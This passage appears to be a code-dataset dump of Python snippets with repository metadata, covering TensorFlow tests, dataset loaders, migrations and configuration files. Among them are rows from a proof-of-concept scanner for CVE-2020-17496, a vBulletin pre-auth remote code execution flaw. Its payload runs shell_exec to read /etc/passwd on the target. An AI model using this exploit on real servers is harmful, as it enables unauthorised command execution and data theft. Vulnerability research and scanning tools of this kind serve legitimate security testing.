| 64 | 64 | 51 | 48 | 15 | bopopescu/sage | src/sage/schemes/hyperelliptic_curves/hyperelliptic_g2_padic_field.py | Python | HyperellipticCurve_g2_padic_field | HyperellipticCurve_g2_padic_field | 14 | 17 | 14 | 16 | bf79a5a6ec6b1a40d8d9282642b22ca329c70ffc | bigcode/the-stack | train |
986513a6e8917de257d73935 | train | class | class TestWorkflowStateTransition(unittest.TestCase):
"""WorkflowStateTransition unit test stubs"""
def setUp(self):
pass
def tearDown(self):
pass
def testWorkflowStateTransition(self):
"""Test WorkflowStateTransition"""
# FIXME: construct object with mandatory attribu... | class TestWorkflowStateTransition(unittest.TestCase):
| """WorkflowStateTransition unit test stubs"""
def setUp(self):
pass
def tearDown(self):
pass
def testWorkflowStateTransition(self):
"""Test WorkflowStateTransition"""
# FIXME: construct object with mandatory attributes with example values
# model = swagger_clie... | by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
import unittest
import swagger_client
from swagger_client.models.workflow_state_transition import WorkflowStateTransition # noqa: E501
from swagger_client.rest import ApiException
class TestWorkflowStateTransition(un... | 64 | 64 | 89 | 9 | 54 | Amirh24/blockchain | blockchain-workbench/rest-api-samples/python/test/test_workflow_state_transition.py | Python | TestWorkflowStateTransition | TestWorkflowStateTransition | 23 | 36 | 23 | 23 | 3200ba4b6ff1f24eddc166e3fe092977c4466dce | bigcode/the-stack | train |
efd56a6af3d4e62433ff33e2 | train | class | @tf_test_utils.compile_modules(gather=GatherModule)
class GatherTest(tf_test_utils.SavedModelTestCase):
def test_gather_axis0_scalar(self):
indices = np.array(2, dtype=np.int32)
params = np.arange(32, dtype=np.float32).reshape(4, 8)
result = self.modules.gather.all.gather_axis0_scalar(params, indices)
... | @tf_test_utils.compile_modules(gather=GatherModule)
class GatherTest(tf_test_utils.SavedModelTestCase):
| def test_gather_axis0_scalar(self):
indices = np.array(2, dtype=np.int32)
params = np.arange(32, dtype=np.float32).reshape(4, 8)
result = self.modules.gather.all.gather_axis0_scalar(params, indices)
result.print().assert_all_close()
def test_gather_axis0_batch0(self):
indices = np.array([2, 3],... | axis=1)
@tf.function(input_signature=[
tf.TensorSpec([4, 7, 8, 2], tf.float32),
tf.TensorSpec([4, 1], tf.int32)
])
def gather_axis2_batch1(self, params, indices):
return tf.gather(params, indices, axis=2, batch_dims=1)
@tf_test_utils.compile_modules(gather=GatherModule)
class GatherTest(tf_test_... | 102 | 102 | 343 | 24 | 78 | EmperorYP7/iree | integrations/tensorflow/e2e/gather_test.py | Python | GatherTest | GatherTest | 51 | 76 | 51 | 53 | 99fcebc6f7aefaf20285d9dddc8a4a1fbf7fd88b | bigcode/the-stack | train |
9c0f875a4760e423841e15a9 | train | class | class GatherModule(tf.Module):
@tf.function(input_signature=[
tf.TensorSpec([4, 8], tf.float32),
tf.TensorSpec([], tf.int32)
])
def gather_axis0_scalar(self, params, indices):
return tf.gather(params, indices)
@tf.function(input_signature=[
tf.TensorSpec([4, 8], tf.float32),
tf.Ten... | class GatherModule(tf.Module):
@tf.function(input_signature=[
tf.TensorSpec([4, 8], tf.float32),
tf.TensorSpec([], tf.int32)
])
| def gather_axis0_scalar(self, params, indices):
return tf.gather(params, indices)
@tf.function(input_signature=[
tf.TensorSpec([4, 8], tf.float32),
tf.TensorSpec([2], tf.int32)
])
def gather_axis0_batch0(self, params, indices):
return tf.gather(params, indices)
@tf.function(input_signatu... | the specific language governing permissions and
# limitations under the License.
import numpy as np
from pyiree.tf.support import tf_test_utils
import tensorflow.compat.v2 as tf
class GatherModule(tf.Module):
@tf.function(input_signature=[
tf.TensorSpec([4, 8], tf.float32),
tf.TensorSpec([], tf.int32)
... | 75 | 75 | 252 | 38 | 36 | EmperorYP7/iree | integrations/tensorflow/e2e/gather_test.py | Python | GatherModule | GatherModule | 20 | 48 | 20 | 25 | 41e0b78b599282e1f709177d40bc224de339f3d2 | bigcode/the-stack | train |
6742c6051bad04062a119a73 | train | function | def main():
try:
# Declared Variable
ret_1 = 0
debug_ind = 'Y'
res_2 = ''
# Defining Generic Log File
general_log_path = str(cf.conf['LOG_PATH'])
# Enabling Logging Info
logging.basicConfig(filename=general_log_path + 'Azure2OCIStream.log'... | def main():
| try:
# Declared Variable
ret_1 = 0
debug_ind = 'Y'
res_2 = ''
# Defining Generic Log File
general_log_path = str(cf.conf['LOG_PATH'])
# Enabling Logging Info
logging.basicConfig(filename=general_log_path + 'Azure2OCIStream.log', level=loggi... | #########################################################
#### Written By: SATYAKI DE ####
#### Written On: 06-Mar-2021 ####
#### Modified On 07-Mar-2021 ####
#### ####
#### Objective: Main call... | 228 | 256 | 888 | 3 | 225 | SatyakiDe2019/Azure2Oracle-Cloud | callAzure2OracleStreaming.py | Python | main | main | 36 | 158 | 36 | 36 | 7d442ba3de6b45d918a0f96bd77dd503f90856b5 | bigcode/the-stack | train |
94b1d350e28a95e27456e889 | train | function | def warn(*args, **kwargs):
pass
| def warn(*args, **kwargs):
| pass
| from clsConfig import clsConfig as cf
import clsL as cl
import logging
import datetime
import clsAzureAPI as ca
import clsOCIPublish as co
import clsOCIConsume as cc
import pandas as p
import json
# Disbling Warning
def warn(*args, **kwargs):
| 64 | 64 | 11 | 8 | 55 | SatyakiDe2019/Azure2Oracle-Cloud | callAzure2OracleStreaming.py | Python | warn | warn | 25 | 26 | 25 | 25 | 8711b92b6cc718e30ab6c60bb8f7b3e597870cfd | bigcode/the-stack | train |
789ae9ca357e6f32c4adb307 | train | function | def filter_members(app, what, name, obj, skip, options):
# include __init__ and __str__ methods that are documented
if name in ('__init__', '__str__') and not skip:
return not bool(obj.__doc__)
# exclude nested classes
if what == 'class' and str(obj)[:7] == '<class ':
return True
# s... | def filter_members(app, what, name, obj, skip, options):
# include __init__ and __str__ methods that are documented
| if name in ('__init__', '__str__') and not skip:
return not bool(obj.__doc__)
# exclude nested classes
if what == 'class' and str(obj)[:7] == '<class ':
return True
# special case
if what == 'module' and name == 'IterProperty':
return True
return skip
| 'footnote'
# If true, do not generate a @detailmenu in the "Top" node's menu.
#
# texinfo_no_detailmenu = False
def filter_members(app, what, name, obj, skip, options):
# include __init__ and __str__ methods that are documented
| 64 | 64 | 111 | 30 | 33 | festicket/connect-sdk-python3 | conf.py | Python | filter_members | filter_members | 346 | 356 | 346 | 347 | 5f15474e6192e1e5caef76e2989796e57c8910c3 | bigcode/the-stack | train |
9d5d3d8985159c759c826ef8 | train | function | def setup(app):
app.connect('autodoc-skip-member', filter_members)
| def setup(app):
| app.connect('autodoc-skip-member', filter_members)
| (obj.__doc__)
# exclude nested classes
if what == 'class' and str(obj)[:7] == '<class ':
return True
# special case
if what == 'module' and name == 'IterProperty':
return True
return skip
def setup(app):
| 64 | 64 | 18 | 4 | 59 | festicket/connect-sdk-python3 | conf.py | Python | setup | setup | 359 | 360 | 359 | 359 | 87e3e8c79c2c07166b1ed5b79e4688dcc6ab4abc | bigcode/the-stack | train |
b7fef9a10db3175cc31f30c2 | train | function | def main():
# Parse arguments
parser = argparse.ArgumentParser(description='Spawn mavros node')
parser.add_argument('-id', type=int, default=1,
help='robot id, used to compute udp ports')
parser.add_argument('-mode', type=str, default="sitl",
help='robot ... | def main():
# Parse arguments
| parser = argparse.ArgumentParser(description='Spawn mavros node')
parser.add_argument('-id', type=int, default=1,
help='robot id, used to compute udp ports')
parser.add_argument('-mode', type=str, default="sitl",
help='robot mode, used to set proper fcu_url')
... | #!/usr/bin/env python
import subprocess
import argparse
import utils
import rospkg
import rospy
def main():
# Parse arguments
| 31 | 256 | 1,024 | 8 | 22 | Angel-M-Montes/grvc-ual | px4_bringup/scripts/run_mavros.py | Python | main | main | 9 | 89 | 9 | 11 | e0262f424c2fb1e1fbdcd8e332292280ddd8e586 | bigcode/the-stack | train |
b8e5059baf399bada2f432b2 | train | function | def norm_groups_larger_1(class_descriptions, groups_ranges_ids):
""" Normalize the semantic description in each semantic group to
sum to 1, in order to comply with the mutual-exclusion
approximation. This is crucial for the LAGO_Semantic* variant.
See "IMPLEMENTATION AND TRAINING DETAILS" i... | def norm_groups_larger_1(class_descriptions, groups_ranges_ids):
| """ Normalize the semantic description in each semantic group to
sum to 1, in order to comply with the mutual-exclusion
approximation. This is crucial for the LAGO_Semantic* variant.
See "IMPLEMENTATION AND TRAINING DETAILS" in paper.
"""
class_descriptions = class_descriptions.as... | divide_to_precision(a, b, precision=6):
"""
Divides a / b, quantized by a given decimal precision.
Used here to avoid numerical issues when normalizing by a sum.
"""
return np.floor_divide(np.floor(np.array(a) * 10 ** precision), b) / 10 ** precision
def norm_groups_larger_1(class_descriptions, gr... | 85 | 85 | 286 | 15 | 69 | e96031413/DRAGON | attribute_expert/semantic_transfer.py | Python | norm_groups_larger_1 | norm_groups_larger_1 | 186 | 217 | 186 | 186 | ef2c0e964bfed134c07d87874fb36468f9bf0d84 | bigcode/the-stack | train |
b297e399f067c46587a73a3a | train | function | def subset_accuracy(y_gt, y_prediction, subset_indices):
y_prediction = tf.transpose(
tf.gather(tf.transpose(y_prediction), subset_indices))
arg_p = tf.gather(subset_indices, tf.arg_max(y_prediction, 1))
y_gt = tf.transpose(y_gt)
return tf.reduce_mean(tf.to_float(tf.equal(tf.to_int64(y_gt), arg_... | def subset_accuracy(y_gt, y_prediction, subset_indices):
| y_prediction = tf.transpose(
tf.gather(tf.transpose(y_prediction), subset_indices))
arg_p = tf.gather(subset_indices, tf.arg_max(y_prediction, 1))
y_gt = tf.transpose(y_gt)
return tf.reduce_mean(tf.to_float(tf.equal(tf.to_int64(y_gt), arg_p)))
| _ids, :] = group_norms
# Save normalized group description
class_descriptions_split += [group]
# Return normalized description
normalized_descriptions = np.concatenate(class_descriptions_split, axis=1)
return normalized_descriptions
def subset_accuracy(y_gt, y_prediction, subset_indices):
| 64 | 64 | 80 | 12 | 51 | e96031413/DRAGON | attribute_expert/semantic_transfer.py | Python | subset_accuracy | subset_accuracy | 220 | 225 | 220 | 220 | 521b06c573a84cb038b2a2e93fedfbd94a51214b | bigcode/the-stack | train |
f8fdb77212cecbbc29075dca | train | function | def get_attributes_groups_ranges_ids(attributes_names, model_name, model_variant):
"""
Returns start index of each group (sequentially).
input: attributes_names, in the format 'group_name::attribute_name',
for example: "shape::tall", "wing_color::white"
"""
#
# Special handling for v... | def get_attributes_groups_ranges_ids(attributes_names, model_name, model_variant):
| """
Returns start index of each group (sequentially).
input: attributes_names, in the format 'group_name::attribute_name',
for example: "shape::tall", "wing_color::white"
"""
#
# Special handling for variants that don't use a semantic prior for groups
if model_name == 'LAGO':
... | _descriptions)
out._keras_shape = out.shape.as_list()
self.debug_out_tensors['out'] = out
return out
def compute_output_shape(self, input_shape):
return (input_shape[0], self.output_dim)
def get_attributes_groups_ranges_ids(attributes_names, model_name, model_variant):
| 67 | 67 | 226 | 15 | 52 | e96031413/DRAGON | attribute_expert/semantic_transfer.py | Python | get_attributes_groups_ranges_ids | get_attributes_groups_ranges_ids | 150 | 174 | 150 | 150 | 894aa569574a8a35d7644fe9b741ba59ee5c9559 | bigcode/the-stack | train |
8ec9d62ed27e6cafecc28bc1 | train | function | def divide_to_precision(a, b, precision=6):
"""
Divides a / b, quantized by a given decimal precision.
Used here to avoid numerical issues when normalizing by a sum.
"""
return np.floor_divide(np.floor(np.array(a) * 10 ** precision), b) / 10 ** precision
| def divide_to_precision(a, b, precision=6):
| """
Divides a / b, quantized by a given decimal precision.
Used here to avoid numerical issues when normalizing by a sum.
"""
return np.floor_divide(np.floor(np.array(a) * 10 ** precision), b) / 10 ** precision
| [hash(a.split('::')[0]) for a in attributes_names.tolist()])
attributes_groups_ranges_ids = 1 + \
np.flatnonzero(
(np.diff(hashed_attributes_groups) != 0))
return attributes_groups_ranges_ids
def divide_to_precision(a, b, precision=6):
| 64 | 64 | 71 | 12 | 51 | e96031413/DRAGON | attribute_expert/semantic_transfer.py | Python | divide_to_precision | divide_to_precision | 177 | 183 | 177 | 177 | 21316d532b3ea0c107ee42318937d81ba87e60c0 | bigcode/the-stack | train |
b2f5b083396f3c0c9d4ba318 | train | class | class semantic_transfer_Layer(Layer):
"""
This implements a layer for zero-shot transfer of semantic representation
to class predictions, according to API of a Keras Layer.
It is mainly tailored for LAGO. It also supports ESZSL, and may support
other frameworks with some modifications
"""
d... | class semantic_transfer_Layer(Layer):
| """
This implements a layer for zero-shot transfer of semantic representation
to class predictions, according to API of a Keras Layer.
It is mainly tailored for LAGO. It also supports ESZSL, and may support
other frameworks with some modifications
"""
def __init__(self, output_dim, class_de... | """
A python layer of the LAGO model.
Code by Yuval Atzmon: https://github.com/yuvalatzmon/LAGO
"""
import tensorflow as tf
import numpy as np
import pandas as pd
from keras import backend as K
from keras import layers
from arg_parser import UserArgs
Layer = layers.Layer
from utils.ml_utils import temporary_random_s... | 207 | 256 | 926 | 8 | 198 | e96031413/DRAGON | attribute_expert/semantic_transfer.py | Python | semantic_transfer_Layer | semantic_transfer_Layer | 30 | 147 | 30 | 30 | e96ea874095e5553f864e56edd09eb8b9c5bc0e5 | bigcode/the-stack | train |
dac4ca398bdf7b64ae552f9f | train | function | def one_hot_groups_init(attributes_groups_ranges_ids, num_A):
# Generates initial soft-groups Gamma matrix, which ties attributes to groups
num_K = len(attributes_groups_ranges_ids) + 1
Gamma = np.zeros((num_A, num_K)).astype('float32')
prev_ix, g = 0, 0
for next_ix in list(attributes_groups_ranges_... | def one_hot_groups_init(attributes_groups_ranges_ids, num_A):
# Generates initial soft-groups Gamma matrix, which ties attributes to groups
| num_K = len(attributes_groups_ranges_ids) + 1
Gamma = np.zeros((num_A, num_K)).astype('float32')
prev_ix, g = 0, 0
for next_ix in list(attributes_groups_ranges_ids) + [num_A]:
Gamma[prev_ix:next_ix, g] = 1
g += 1
prev_ix = next_ix
return Gamma
| pd
from keras import backend as K
from keras import layers
from arg_parser import UserArgs
Layer = layers.Layer
from utils.ml_utils import temporary_random_seed
def one_hot_groups_init(attributes_groups_ranges_ids, num_A):
# Generates initial soft-groups Gamma matrix, which ties attributes to groups
| 64 | 64 | 120 | 29 | 34 | e96031413/DRAGON | attribute_expert/semantic_transfer.py | Python | one_hot_groups_init | one_hot_groups_init | 18 | 27 | 18 | 19 | fff878b62d7c2d8751b443e4d6829d55de12c4be | bigcode/the-stack | train |
b9c9f187ed8566b91ac38251 | train | function | def create(kernel):
result = Creature()
result.template = "object/mobile/shared_dressed_captain_eso.iff"
result.attribute_template_id = 9
result.stfName("npc_name","trandoshan_base_male")
#### BEGIN MODIFICATIONS ####
#### END MODIFICATIONS ####
return result | def create(kernel):
| result = Creature()
result.template = "object/mobile/shared_dressed_captain_eso.iff"
result.attribute_template_id = 9
result.stfName("npc_name","trandoshan_base_male")
#### BEGIN MODIFICATIONS ####
#### END MODIFICATIONS ####
return result | #### NOTICE: THIS FILE IS AUTOGENERATED
#### MODIFICATIONS MAY BE LOST IF DONE IMPROPERLY
#### PLEASE SEE THE ONLINE DOCUMENTATION FOR EXAMPLES
from swgpy.object import *
def create(kernel):
| 46 | 64 | 69 | 4 | 42 | obi-two/GameServer | data/scripts/templates/object/mobile/shared_dressed_captain_eso.py | Python | create | create | 7 | 17 | 7 | 7 | df58bcc3ee773075d8ac39d14aec903165d909fc | bigcode/the-stack | train |
96429e0fa18b365691e02d3d | train | function | def gender(word):
new_word = [word, word[-2:], word[-3:]]
nX = [[ # converter.convert(new_word[0]),
converter.convert(new_word[1]),
converter.convert(new_word[2])]]
print(word, "- ", "муж" if clf.predict(nX) == 1 else "жен")
print("Номера: ", nX[0][0], ", ", nX[0][1])
print("... | def gender(word):
| new_word = [word, word[-2:], word[-3:]]
nX = [[ # converter.convert(new_word[0]),
converter.convert(new_word[1]),
converter.convert(new_word[2])]]
print(word, "- ", "муж" if clf.predict(nX) == 1 else "жен")
print("Номера: ", nX[0][0], ", ", nX[0][1])
print("------------------... | (large_list)
clf = SVC( cache_size= 50000 )
# problem = clf.fit(X, y) # создаем задачу
print("clf.fit start")
problem = clf.fit(X, y) # создаем задачу
print("clf.fit finish ")
def gender(word):
| 64 | 64 | 102 | 4 | 60 | KarpenkoDenis/POS_tagging | src/main.py | Python | gender | gender | 76 | 83 | 76 | 76 | 48cbe097e0dab3525341cfeda46b3d951dea57c1 | bigcode/the-stack | train |
f46eaa8f0d2b90fa11944881 | train | function | def upgrade():
op.add_column('repos', sa.Column('last_reset_at', sa.DateTime(), nullable=True))
op.create_index(op.f('ix_repos_last_reset_at'), 'repos', ['last_reset_at'], unique=False)
| def upgrade():
| op.add_column('repos', sa.Column('last_reset_at', sa.DateTime(), nullable=True))
op.create_index(op.f('ix_repos_last_reset_at'), 'repos', ['last_reset_at'], unique=False)
| 2017-09-01 10:54:46.855976
"""
revision = '8d91ff009e69'
down_revision = 'dbf1daf55faf'
branch_labels = None
depends_on = None
from alembic import op
import sqlalchemy as sa
def upgrade():
| 64 | 64 | 49 | 3 | 60 | JS555/YayanRuhianResearch_ | migration/versions/8d91ff009e69_last_reset_at_column_for_repo.py | Python | upgrade | upgrade | 18 | 20 | 18 | 18 | 31c936d9219a8971bbae5a69ffb14b2ca00f91c9 | bigcode/the-stack | train |
111d6a10db4cba26d8a44e43 | train | function | def downgrade():
op.drop_index(op.f('ix_repos_last_reset_at'), table_name='repos')
op.drop_column('repos', 'last_reset_at')
| def downgrade():
| op.drop_index(op.f('ix_repos_last_reset_at'), table_name='repos')
op.drop_column('repos', 'last_reset_at')
| from alembic import op
import sqlalchemy as sa
def upgrade():
op.add_column('repos', sa.Column('last_reset_at', sa.DateTime(), nullable=True))
op.create_index(op.f('ix_repos_last_reset_at'), 'repos', ['last_reset_at'], unique=False)
def downgrade():
| 64 | 64 | 34 | 3 | 61 | JS555/YayanRuhianResearch_ | migration/versions/8d91ff009e69_last_reset_at_column_for_repo.py | Python | downgrade | downgrade | 23 | 25 | 23 | 23 | 5497b0ce5ff953140fdcbb93b88977aafd808ce0 | bigcode/the-stack | train |
111a4000eb2e269d3b984d55 | train | function | def test_function_field_using_type_annotation():
def get_split_words(value: str):
return value.split(';')
class MySchema(Schema):
friends = fields.Function(deserialize=get_split_words)
data = {'name': 'Bruce Wayne', 'friends': 'Clark;Alfred;Robin'}
result = MySchema().load(data)
as... | def test_function_field_using_type_annotation():
| def get_split_words(value: str):
return value.split(';')
class MySchema(Schema):
friends = fields.Function(deserialize=get_split_words)
data = {'name': 'Bruce Wayne', 'friends': 'Clark;Alfred;Robin'}
result = MySchema().load(data)
assert result.data == {'friends': ['Clark', 'Alfred... | from marshmallow import fields, Schema
# Regression test for https://github.com/marshmallow-code/marshmallow/issues/540
def test_function_field_using_type_annotation():
| 37 | 64 | 89 | 8 | 28 | 4lissonsilveira/marshmallow | tests/test_py3/test_utils.py | Python | test_function_field_using_type_annotation | test_function_field_using_type_annotation | 5 | 14 | 5 | 5 | b5e53391e78da43b17ca00a44ab99f3838a8546c | bigcode/the-stack | train |
1a71d49aef1010dea9eb714e | train | class | class TieredImagenet(CombinationMetaDataset):
"""
The Tiered-Imagenet dataset, introduced in [1]. This dataset contains images
of 608 different classes from the ILSVRC-12 dataset (Imagenet challenge).
Parameters
----------
root : string
Root directory where the dataset folder `tieredim... | class TieredImagenet(CombinationMetaDataset):
| """
The Tiered-Imagenet dataset, introduced in [1]. This dataset contains images
of 608 different classes from the ILSVRC-12 dataset (Imagenet challenge).
Parameters
----------
root : string
Root directory where the dataset folder `tieredimagenet` exists.
num_classes_per_task : in... | import numpy as np
from PIL import Image
import h5py
import json
import os
import io
import pickle
from torchmeta.utils.data import Dataset, ClassDataset, CombinationMetaDataset
from torchvision.datasets.utils import download_file_from_google_drive
class TieredImagenet(CombinationMetaDataset):
| 63 | 256 | 920 | 10 | 52 | xyp8023/siren | torchmeta/datasets/tieredimagenet.py | Python | TieredImagenet | TieredImagenet | 13 | 93 | 13 | 13 | 51b847a851fbe6ef47673f1599b48a72c69d90b9 | bigcode/the-stack | train |
49c4dc64d684eaf17104fd34 | train | class | class TieredImagenetDataset(Dataset):
def __init__(self, index, data, general_class_name, specific_class_name,
transform=None, target_transform=None):
super(TieredImagenetDataset, self).__init__(index, transform=transform,
target_transform... | class TieredImagenetDataset(Dataset):
| def __init__(self, index, data, general_class_name, specific_class_name,
transform=None, target_transform=None):
super(TieredImagenetDataset, self).__init__(index, transform=transform,
target_transform=target_transform)
self.data =... | < len(general_labels_str) else '')
dataset.attrs['label_specific'] = label
for j, k in enumerate(indices):
dataset[j] = np.squeeze(images[k])
if os.path.isdir(tar_folder):
shutil.rmtree(tar_folder)
class TieredImagenetDataset(Dataset)... | 64 | 64 | 177 | 9 | 55 | xyp8023/siren | torchmeta/datasets/tieredimagenet.py | Python | TieredImagenetDataset | TieredImagenetDataset | 228 | 250 | 228 | 228 | 48cda6cf23bdb49fa7efe978fa553bd07be15cec | bigcode/the-stack | train |
41f705fc40ac5c678e6dcd0a | train | class | class TieredImagenetClassDataset(ClassDataset):
folder = 'tieredimagenet'
# Google Drive ID from https://github.com/renmengye/few-shot-ssl-public
gdrive_id = '1g1aIDy2Ar_MViF2gDXFYDBTR-HYecV07'
tar_filename = 'tiered-imagenet.tar'
tar_md5 = 'e07e811b9f29362d159a9edd0d838c62'
tar_folder = 'tiered... | class TieredImagenetClassDataset(ClassDataset):
| folder = 'tieredimagenet'
# Google Drive ID from https://github.com/renmengye/few-shot-ssl-public
gdrive_id = '1g1aIDy2Ar_MViF2gDXFYDBTR-HYecV07'
tar_filename = 'tiered-imagenet.tar'
tar_md5 = 'e07e811b9f29362d159a9edd0d838c62'
tar_folder = 'tiered-imagenet'
filename = '{0}_data.hdf5'
f... | Imagenet).
References
----------
.. [1] Ren, M., Triantafillou, E., Ravi, S., Snell, J., Swersky, K.,
Tenenbaum, J.B., Larochelle, H. and Zemel, R.S. (2018). Meta-learning
for semi-supervised few-shot classification. International Conference
on Learning Representations. ... | 256 | 256 | 1,121 | 10 | 246 | xyp8023/siren | torchmeta/datasets/tieredimagenet.py | Python | TieredImagenetClassDataset | TieredImagenetClassDataset | 96 | 225 | 96 | 96 | 00865e2eb400eb6fc0504841cfe6f25e89d376a7 | bigcode/the-stack | train |
a5ed66a875fb09a09a7e62e7 | train | function | def exp(url):
return poc(url)
| def exp(url):
| return poc(url)
| (resp0.status_code == 200):
result["success"] = True
result["info"] = info()
result["payload"] = url+path
except:
result["success"] = False
return result
# Exploit, can be same with poc()
def exp(url):
| 64 | 64 | 9 | 4 | 60 | hjyuan/reapoc | 2020/CVE-2020-17496/poc/pocsploit/CVE-2020-17496.py | Python | exp | exp | 57 | 58 | 57 | 57 | 172784295ad1e514ca437123d42fa4f09d2f6d8f | bigcode/the-stack | train |
aec2099b5352b341d3e9b46d | train | function | def poc(url):
result = {}
try:
url = format_url(url)
path = """/ajax/render/widget_tabbedcontainer_tab_panel"""
method = "POST"
data = '''subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo shell_exec('cat ../../../../../../../../../../../../etc/passwd'); exit;"'... | def poc(url):
| result = {}
try:
url = format_url(url)
path = """/ajax/render/widget_tabbedcontainer_tab_panel"""
method = "POST"
data = '''subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo shell_exec('cat ../../../../../../../../../../../../etc/passwd'); exit;"'''
hea... | },
"metadata":{
"vuln-target": "",
},
"tags": ["cve", "cve2020", "vbulletin", "rce"],
}
# Vender Fingerprint
def fingerprint(url):
return True
# Proof of Concept
def poc(url):
| 64 | 64 | 195 | 4 | 59 | hjyuan/reapoc | 2020/CVE-2020-17496/poc/pocsploit/CVE-2020-17496.py | Python | poc | poc | 34 | 53 | 34 | 34 | 29f1c6d32ff66ecf731a763ce7dcb80094d3570e | bigcode/the-stack | train |
09a8ff4fcc2d0046b814f4a4 | train | function | def info():
return {
"author": "cckuailong",
"name": '''vBulletin Pre-Auth RCE''',
"description": '''vBulletin 5.5.4 through 5.6.2 allow remote command execution (RCE) via crafted subWidgets data in an ajax/render/widget_tabbedcontainer_tab_panel request. NOTE: this issue exists because of a... | def info():
| return {
"author": "cckuailong",
"name": '''vBulletin Pre-Auth RCE''',
"description": '''vBulletin 5.5.4 through 5.6.2 allow remote command execution (RCE) via crafted subWidgets data in an ajax/render/widget_tabbedcontainer_tab_panel request. NOTE: this issue exists because of an incomplete... | import requests
import re
# Vuln Base Info
def info():
| 15 | 76 | 255 | 3 | 11 | hjyuan/reapoc | 2020/CVE-2020-17496/poc/pocsploit/CVE-2020-17496.py | Python | info | info | 6 | 26 | 6 | 6 | 0bc5c8178f0e3cf2b969aa29ed8faaf6fdde98dc | bigcode/the-stack | train |
6b714cd9dd08d3433a3d10be | train | function | def fingerprint(url):
return True
| def fingerprint(url):
| return True
| "cwe-id": "CWE-74"
},
"metadata":{
"vuln-target": "",
},
"tags": ["cve", "cve2020", "vbulletin", "rce"],
}
# Vender Fingerprint
def fingerprint(url):
| 64 | 64 | 8 | 4 | 59 | hjyuan/reapoc | 2020/CVE-2020-17496/poc/pocsploit/CVE-2020-17496.py | Python | fingerprint | fingerprint | 30 | 31 | 30 | 30 | 89741fcda38461c619fbc801112813169a4d7b36 | bigcode/the-stack | train |
80a827686656e8c01c67b31e | train | function | def format_url(url):
url = url.strip()
if not ( url.startswith('http://') or url.startswith('https://') ):
url = 'http://' + url
url = url.rstrip('/')
return url | def format_url(url):
| url = url.strip()
if not ( url.startswith('http://') or url.startswith('https://') ):
url = 'http://' + url
url = url.rstrip('/')
return url | "] = True
result["info"] = info()
result["payload"] = url+path
except:
result["success"] = False
return result
# Exploit, can be same with poc()
def exp(url):
return poc(url)
# Utils
def format_url(url):
| 64 | 64 | 48 | 5 | 58 | hjyuan/reapoc | 2020/CVE-2020-17496/poc/pocsploit/CVE-2020-17496.py | Python | format_url | format_url | 62 | 68 | 62 | 62 | 0e250b5683b298faa29229e46e49f25814935dc2 | bigcode/the-stack | train |
f44cf9409fd1497467f6db40 | train | function | def loop_through_lines():
temp_data_filename = "/Users/hpiwowar/Downloads/ror.json"
with open(temp_data_filename,'rB') as f:
lines = f.read()
data = json.loads(lines)
print(len(data))
ror_objs = []
for my_dict in data:
ror_id = my_dict["id"].replace("https://ror.org/", "")
... | def loop_through_lines():
| temp_data_filename = "/Users/hpiwowar/Downloads/ror.json"
with open(temp_data_filename,'rB') as f:
lines = f.read()
data = json.loads(lines)
print(len(data))
ror_objs = []
for my_dict in data:
ror_id = my_dict["id"].replace("https://ror.org/", "")
# print "before get"
... | country_code = db.Column(db.Text)
link = db.Column(db.Text)
types = db.Column(db.Text)
api_raw = db.Column(db.Text)
updated = db.Column(db.DateTime)
def __init__(self, **kwargs):
self.updated = datetime.datetime.utcnow().isoformat()
super(Ror, self).__init__(**kwargs)
def _... | 110 | 110 | 369 | 6 | 104 | ourresearch/openalex-api | import_ror.py | Python | loop_through_lines | loop_through_lines | 51 | 90 | 51 | 51 | 638df78d9c810001b6454116bd0121307ed2f0ff | bigcode/the-stack | train |
89e24d99f583a4fdd4445421 | train | class | class Ror(db.Model):
__tablename__ = 'ror'
__bind_key__ = "redshift_db"
ror_id = db.Column(db.Text, primary_key=True)
name = db.Column(db.Text)
grid_id = db.Column(db.Text)
country = db.Column(db.Text)
country_code = db.Column(db.Text)
link = db.Column(db.Text)
types = db.Column(db.... | class Ror(db.Model):
| __tablename__ = 'ror'
__bind_key__ = "redshift_db"
ror_id = db.Column(db.Text, primary_key=True)
name = db.Column(db.Text)
grid_id = db.Column(db.Text)
country = db.Column(db.Text)
country_code = db.Column(db.Text)
link = db.Column(db.Text)
types = db.Column(db.Text)
api_raw = d... | import logger
from app import db
from util import safe_commit
# from https://stackoverflow.com/a/39293287/596939
import sys
import importlib
importlib.reload(sys)
if sys.version_info.major < 3:
sys.setdefaultencoding('utf8')
class Ror(db.Model):
| 64 | 64 | 168 | 6 | 58 | ourresearch/openalex-api | import_ror.py | Python | Ror | Ror | 30 | 49 | 30 | 30 | 2e24346e3218af0171dddef0af1305754a7fd016 | bigcode/the-stack | train |
52f2310f1c977516c78bac01 | train | function | def cnn_model(data):
conv_pool_1 = fluid.nets.simple_img_conv_pool(
input=data,
filter_size=5,
num_filters=20,
pool_size=2,
pool_stride=2,
act="relu",
param_attr=fluid.ParamAttr(initializer=fluid.initializer.Constant(
value=0.01)))
conv_pool_2 ... | def cnn_model(data):
| conv_pool_1 = fluid.nets.simple_img_conv_pool(
input=data,
filter_size=5,
num_filters=20,
pool_size=2,
pool_stride=2,
act="relu",
param_attr=fluid.ParamAttr(initializer=fluid.initializer.Constant(
value=0.01)))
conv_pool_2 = fluid.nets.simple_i... | import Process
import os
import signal
from functools import reduce
from test_dist_base import TestDistRunnerBase, runtime_main
paddle.enable_static()
DTYPE = "float32"
paddle.dataset.mnist.fetch()
# Fix seed for test
fluid.default_startup_program().random_seed = 1
fluid.default_main_program().random_seed = 1
def c... | 80 | 80 | 267 | 5 | 74 | zmxdream/Paddle | python/paddle/fluid/tests/unittests/dist_allreduce_op.py | Python | cnn_model | cnn_model | 43 | 74 | 43 | 43 | 95b79d4de81a2138512478e134dce4fd012b188e | bigcode/the-stack | train |
48592e6650f09654b03825a0 | train | class | class TestDistMnist2x2(TestDistRunnerBase):
def get_model(self, batch_size=2, single_device=False):
# Input data
images = fluid.layers.data(name='pixel', shape=[1, 28, 28], dtype=DTYPE)
label = fluid.layers.data(name='label', shape=[1], dtype='int64')
# Train program
predict... | class TestDistMnist2x2(TestDistRunnerBase):
| def get_model(self, batch_size=2, single_device=False):
# Input data
images = fluid.layers.data(name='pixel', shape=[1, 28, 28], dtype=DTYPE)
label = fluid.layers.data(name='label', shape=[1], dtype='int64')
# Train program
predict = cnn_model(images)
cost = fluid.la... | _pool_2.shape
